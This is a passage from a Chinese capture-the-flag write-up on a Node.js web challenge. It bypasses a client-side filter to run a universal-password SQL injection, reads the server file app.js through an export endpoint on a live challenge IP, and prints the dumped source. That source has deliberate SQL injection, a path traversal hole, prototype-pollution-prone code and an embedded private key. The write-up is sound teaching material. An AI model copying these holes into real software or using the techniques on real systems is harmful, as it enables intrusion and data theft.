KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>源代码中：</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">wafsql</span>(<span class="params">str</span>)&#123;</span><br><span class="line">    <span class="keyword">return</span> str.<span class="title function_">replace</span>(<span class="regexp">/[\-\_\,\!\|\~\`\(\)\#\$\%\^\&amp;\*\&#123;\&#125;\:\;\&quot;\&lt;\&gt;\?\\\/\&#x27;\ ]/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getCookie</span>(<span class="params">name</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> value = <span class="string">`; <span class="subst">$&#123;<span class="variable language_">document</span>.cookie&#125;</span>`</span>;</span><br><span class="line">    <span class="keyword">const</span> parts = value.<span class="title function_">split</span>(<span class="string">`; <span class="subst">$&#123;name&#125;</span>=`</span>);</span><br><span class="line">    <span class="keyword">if</span> (parts.<span class="property">length</span> === <span class="number">2</span>) <span class="keyword">return</span> parts.<span class="title function_">pop</span>().<span class="title function_">split</span>(<span class="string">&#x27;;&#x27;</span>).<span class="title function_">shift</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>waf 做在编码前</p><p>覆盖一下啊 wafsql 然后用万能密码</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">wafsql</span>(<span class="params">str</span>)&#123;</span><br><span class="line">    <span class="keyword">return</span> str;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410110904801.png" alt="image-20241011090447637"></p><p><code>http://1.95.87.154:22991/ExP0rtApi?v=.&amp;f=app.js</code></p><p>base64 decode 之后 gunzip 解码</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> nodeRsa = <span class="built_in">require</span>(<span class="string">&#x27;node-rsa&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> bodyParser = <span class="built_in">require</span>(<span class="string">&#x27;body-parser&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> jwt = <span class="built_in">require</span>(<span class="string">&#x27;jsonwebtoken&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">SECRET_KEY</span> = crypto.<span class="title function_">randomBytes</span>(<span class="number">16</span>).<span class="title function_">toString</span>(<span class="string">&#x27;hex&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&#x27;path&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> zlib = <span class="built_in">require</span>(<span class="string">&#x27;zlib&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> mysql = <span class="built_in">require</span>(<span class="string">&#x27;mysql&#x27;</span>)</span><br><span class="line"><span class="keyword">const</span> handle = <span class="built_in">require</span>(<span class="string">&#x27;./handle&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> cp = <span class="built_in">require</span>(<span class="string">&#x27;child_process&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> cookieParser = <span class="built_in">require</span>(<span class="string">&#x27;cookie-parser&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> con = mysql.<span class="title function_">createConnection</span>(&#123;</span><br><span class="line">  <span class="attr">host</span>: <span class="string">&#x27;localhost&#x27;</span>,</span><br><span class="line">  <span class="attr">user</span>: <span class="string">&#x27;ctf&#x27;</span>,</span><br><span class="line">  <span class="attr">password</span>: <span class="string">&#x27;ctf123123&#x27;</span>,</span><br><span class="line">  <span class="attr">port</span>: <span class="string">&#x27;3306&#x27;</span>,</span><br><span class="line">  <span class="attr">database</span>: <span class="string">&#x27;sctf&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line">con.<span class="title function_">connect</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (err) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Error connecting to MySQL:&#x27;</span>, err.<span class="property">message</span>);</span><br><span class="line">    <span class="built_in">setTimeout</span>(con.<span class="title function_">connect</span>(), <span class="number">2000</span>); <span class="comment">// 2秒后重试连接</span></span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Connected to MySQL&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> &#123;response&#125; = <span class="built_in">require</span>(<span class="string">&quot;express&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> req = <span class="built_in">require</span>(<span class="string">&quot;express/lib/request&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> key = <span class="keyword">new</span> <span class="title function_">nodeRsa</span>(&#123; <span class="attr">b</span>: <span class="number">1024</span> &#125;);</span><br><span class="line">key.<span class="title function_">setOptions</span>(&#123; <span class="attr">encryptionScheme</span>: <span class="string">&#x27;pkcs1&#x27;</span> &#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> publicPem = <span class="string">`-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`</span>;</span><br><span class="line"><span class="keyword">var</span> privatePem = <span class="string">`-----BEGIN PRIVATE KEY-----</span></span><br><span class="line"><span class="string">MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27</span></span><br><span class="line"><span class="string">PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l</span></span><br><span class="line"><span class="string">i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi</span></span><br><span class="line"><span class="string">6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI</span></span><br><span class="line"><span class="string">lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY</span></span><br><span class="line"><span class="string">Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61</span></span><br><span class="line"><span class="string">khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT</span></span><br><span class="line"><span class="string">6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78</span></span><br><span class="line"><span class="string">dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG</span></span><br><span class="line"><span class="string">mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye</span></span><br><span class="line"><span class="string">KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh</span></span><br><span class="line"><span class="string">UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l</span></span><br><span class="line"><span class="string">zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg</span></span><br><span class="line"><span class="string">xu/vfQ0A1jHRNC7t</span></span><br><span class="line"><span class="string">-----END PRIVATE KEY-----`</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> app = <span class="title function_">express</span>();</span><br><span class="line">app.<span class="title function_">use</span>(bodyParser.<span class="title function_">json</span>());</span><br><span class="line">app.<span class="title function_">use</span>(express.<span class="title function_">urlencoded</span>(&#123; <span class="attr">extended</span>: <span class="literal">true</span> &#125;));</span><br><span class="line">app.<span class="title function_">use</span>(express.<span class="title function_">static</span>(path.<span class="title function_">join</span>(__dirname, <span class="string">&#x27;static&#x27;</span>)));</span><br><span class="line">app.<span class="title function_">use</span>(<span class="title function_">cookieParser</span>());</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> <span class="title class_">Reportcache</span> = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">verifyAdmin</span>(<span class="params">req, res, next</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> token = req.<span class="property">cookies</span>[<span class="string">&#x27;auth_token&#x27;</span>];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!token) &#123;</span><br><span class="line">    <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">403</span>).<span class="title function_">json</span>(&#123; <span class="attr">message</span>: <span class="string">&#x27;No token provided&#x27;</span> &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  jwt.<span class="title function_">verify</span>(token, <span class="variable constant_">SECRET_KEY</span>, <span class="function">(<span class="params">err, decoded</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">403</span>).<span class="title function_">json</span>(&#123; <span class="attr">message</span>: <span class="string">&#x27;Failed to authenticate token&#x27;</span> &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (decoded.<span class="property">role</span> !== <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">403</span>).<span class="title function_">json</span>(&#123; <span class="attr">message</span>: <span class="string">&#x27;Access denied. Admins only.&#x27;</span> &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    req.<span class="property">user</span> = decoded;</span><br><span class="line">    <span class="title function_">next</span>();</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/hello&#x27;</span>, verifyAdmin ,<span class="function">(<span class="params">req, res</span>)=&gt;</span> &#123;</span><br><span class="line">  res.<span class="title function_">send</span>(<span class="string">&#x27;&lt;h1&gt;Welcome Admin!!!&lt;/h1&gt;&lt;br&gt;&lt;img src=&quot;./1.jpeg&quot; /&gt;&#x27;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/config&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  res.<span class="title function_">json</span>(&#123;</span><br><span class="line">    <span class="attr">publicKey</span>: publicPem,</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> decrypt = <span class="keyword">function</span>(<span class="params">body</span>) &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> pem = privatePem;</span><br><span class="line">    <span class="keyword">var</span> key = <span class="keyword">new</span> <span class="title function_">nodeRsa</span>(pem, &#123;</span><br><span class="line">      <span class="attr">encryptionScheme</span>: <span class="string">&#x27;pkcs1&#x27;</span>,</span><br><span class="line">      <span class="attr">b</span>: <span class="number">1024</span></span><br><span class="line">    &#125;);</span><br><span class="line">    key.<span class="title function_">setOptions</span>(&#123; <span class="attr">environment</span>: <span class="string">&quot;browser&quot;</span> &#125;);</span><br><span class="line">    <span class="keyword">return</span> key.<span class="title function_">decrypt</span>(body, <span class="string">&#x27;utf8&#x27;</span>);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;decrypt error&quot;</span>, e);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">post</span>(<span class="string">&#x27;/login&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> encryptedPassword = req.<span class="property">body</span>.<span class="property">password</span>;</span><br><span class="line">  <span class="keyword">const</span> username = req.<span class="property">body</span>.<span class="property">username</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    passwd = <span class="title function_">decrypt</span>(encryptedPassword)</span><br><span class="line">    <span class="keyword">if</span>(username === <span class="string">&#x27;admin&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> sql = <span class="string">`select (select password from user where username = &#x27;admin&#x27;) = &#x27;<span class="subst">$&#123;passwd&#125;</span>&#x27;;`</span></span><br><span class="line">      con.<span class="title function_">query</span>(sql, <span class="function">(<span class="params">err, rows</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (err) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(err.<span class="property">message</span>);</span><br><span class="line">        <span class="keyword">if</span> (rows[<span class="number">0</span>][<span class="title class_">Object</span>.<span class="title function_">keys</span>(rows[<span class="number">0</span>])]) &#123;</span><br><span class="line">          <span class="keyword">const</span> token = jwt.<span class="title function_">sign</span>(&#123;username, <span class="attr">role</span>: username&#125;, <span class="variable constant_">SECRET_KEY</span>, &#123;<span class="attr">expiresIn</span>: <span class="string">&#x27;1h&#x27;</span>&#125;);</span><br><span class="line">          res.<span class="title function_">cookie</span>(<span class="string">&#x27;auth_token&#x27;</span>, token, &#123;<span class="attr">secure</span>: <span class="literal">false</span>&#125;);</span><br><span class="line">          res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">json</span>(&#123;<span class="attr">success</span>: <span class="literal">true</span>, <span class="attr">message</span>: <span class="string">&#x27;Login Successfully&#x27;</span>&#125;);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">json</span>(&#123;<span class="attr">success</span>: <span class="literal">false</span>, <span class="attr">message</span>: <span class="string">&#x27;Errow Password!&#x27;</span>&#125;);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      res.<span class="title function_">status</span>(<span class="number">403</span>).<span class="title function_">json</span>(&#123;<span class="attr">success</span>: <span class="literal">false</span>, <span class="attr">message</span>: <span class="string">&#x27;This Website Only Open for admin&#x27;</span>&#125;);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">json</span>(&#123; <span class="attr">success</span>: <span class="literal">false</span>, <span class="attr">message</span>: <span class="string">&#x27;Error decrypting password!&#x27;</span> &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/ExP0rtApi&#x27;</span>, verifyAdmin, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">var</span> rootpath = req.<span class="property">query</span>.<span class="property">v</span>;</span><br><span class="line">  <span class="keyword">var</span> file = req.<span class="property">query</span>.<span class="property">f</span>;</span><br><span class="line"></span><br><span class="line">  file = file.<span class="title function_">replace</span>(<span class="regexp">/\.\.\//g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">  rootpath = rootpath.<span class="title function_">replace</span>(<span class="regexp">/\.\.\//g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(rootpath === <span class="string">&#x27;&#x27;</span>)&#123;</span><br><span class="line">    <span class="keyword">if</span>(file === <span class="string">&#x27;&#x27;</span>)&#123;</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">send</span>(<span class="string">&#x27;try to find parameters HaHa&#x27;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      rootpath = <span class="string">&quot;static&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> filePath = path.<span class="title function_">join</span>(__dirname, rootpath + <span class="string">&quot;/&quot;</span> + file);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!fs.<span class="title function_">existsSync</span>(filePath)) &#123;</span><br><span class="line">    <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">404</span>).<span class="title function_">send</span>(<span class="string">&#x27;File not found&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fs.<span class="title function_">readFile</span>(filePath, <span class="function">(<span class="params">err, fileData</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Error reading file:&#x27;</span>, err);</span><br><span class="line">      <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">send</span>(<span class="string">&#x27;Error reading file&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    zlib.<span class="title function_">gzip</span>(fileData, <span class="function">(<span class="params">err, compressedData</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (err) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;Error compressing file:&#x27;</span>, err);</span><br><span class="line">        <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">send</span>(<span class="string">&#x27;Error compressing file&#x27;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">const</span> base64Data = compressedData.<span class="title function_">toString</span>(<span class="string">&#x27;base64&#x27;</span>);</span><br><span class="line">      res.<span class="title function_">send</span>(base64Data);</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/report&quot;</span>, verifyAdmin ,<span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  res.<span class="title function_">sendFile</span>(__dirname + <span class="string">&quot;/static/report_noway_dirsearch.html&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">post</span>(<span class="string">&quot;/report&quot;</span>, verifyAdmin ,<span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> &#123;user, date, reportmessage&#125; = req.<span class="property">body</span>;</span><br><span class="line">  <span class="keyword">if</span>(<span class="title class_">Reportcache</span>[user] === <span class="literal">undefined</span>) &#123;</span><br><span class="line">    <span class="title class_">Reportcache</span>[user] = &#123;&#125;;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title class_">Reportcache</span>[user][date] = reportmessage</span><br><span class="line">  res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">send</span>(<span class="string">&quot;&lt;script&gt;alert(&#x27;Report Success&#x27;);window.location.href=&#x27;/report&#x27;&lt;/script&gt;&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&#x27;/countreport&#x27;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">let</span> count = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> user <span class="keyword">in</span> <span class="title class_">Reportcache</span>) &#123;</span><br><span class="line">    count += <span class="title class_">Object</span>.<span class="title function_">keys</span>(<span class="title class_">Reportcache</span>[user]).<span class="property">length</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  res.<span class="title function_">json</span>(&#123; count &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">//查看当前运行用户</span></span><br><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/VanZY_s_T3st&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">var</span> command = <span class="string">&#x27;whoami&#x27;</span>;</span><br><span class="line">  <span class="keyword">const</span> cmd = cp.<span class="title function_">spawn</span>(command ,[]);</span><br><span class="line">  cmd.<span class="property">stdout</span>.<span class="title function_">on</span>(<span class="string">&#x27;data&#x27;</span>, <span class="function">(<span class="params">data</span>) =&gt;</span> &#123;</span><br><span class="line">    res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">end</span>(data.<span class="title function_">toString</span>());</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">listen</span>(<span class="number">3000</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Server running on http://localhost:3000&#x27;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></div><p>handle/index.js</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> ritm = <span class="built_in">require</span>(<span class="string">&#x27;require-in-the-middle&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> patchChildProcess = <span class="built_in">require</span>(<span class="string">&#x27;./child_process&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> ritm.<span class="title class_">Hook</span>(</span><br><span class="line">    [<span class="string">&#x27;child_process&#x27;</span>],</span><br><span class="line">    <span class="keyword">function</span> (<span class="params"><span class="variable language_">module</span>, name</span>) &#123;</span><br><span class="line">        <span class="keyword">switch</span> (name) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;child_process&#x27;</span>: &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_">patchChildProcess</span>(<span class="variable language_">module</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">);</span><br></pre></td></tr></table></figure></div><p>handle/child_process.js</p><p><code>child_process</code>  模块是 Node.js 中用于创建子进程的模块。通过这个模块，Node.js 可以与操作系统的 Shell 交互，执行外部命令或脚本。</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span 